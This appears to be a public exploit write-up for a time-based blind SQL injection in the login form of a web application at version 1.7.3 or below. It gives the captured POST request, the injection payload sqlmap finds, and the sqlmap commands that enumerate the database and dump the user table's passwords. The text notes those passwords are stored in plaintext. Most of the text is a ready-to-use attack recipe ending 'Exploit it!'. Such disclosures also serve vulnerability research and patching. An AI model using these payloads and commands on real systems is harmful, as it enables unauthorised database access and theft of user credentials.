############################################################################

Steps to reproduce:

1) Visit vulnerable webapp and confirm version is <= 1.7.3 https://URL/info/about.php

2) Configure Burp proxy to intecrept and to capture a login sequence with invalid username/password. (e.g. username:test password:test)
Your request should look like this:
POST / HTTP/1.1
Host: 192.168.1.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Upgrade-Insecure-Requests: 1
uname=test&pass=test&submit=%C5%DF%F3%EF%E4%EF%F2

3) Save intercepted request as a file (Right click -> Copy to file -> Save as eclasstestlogin)

4) Load the file to SQLMap  with the use of -r parameter
sqlmap -r eclasstestlogin --level=5 --risk=3 -v
SQLMap will find the following payload
---
Parameter: uname (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=test' AND (SELECT 5551 FROM (SELECT(SLEEP(5)))IZsi)-- aLyD&pass=test&submit=%C5%DF%F3%EF%E4%EF%F2
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---

5) Exploit it!
sqlmap -r eclasstestlogin -v --current-db
sqlmap -r eclasstestlogin -v -D [DB-NAME-GOES-HERE] --dump
sqlmap -r eclasstestlogin -v -D [DB-NAME-GOES-HERE] -T user -C password --dump

6) Bonus! Passwords are stored in plaintext
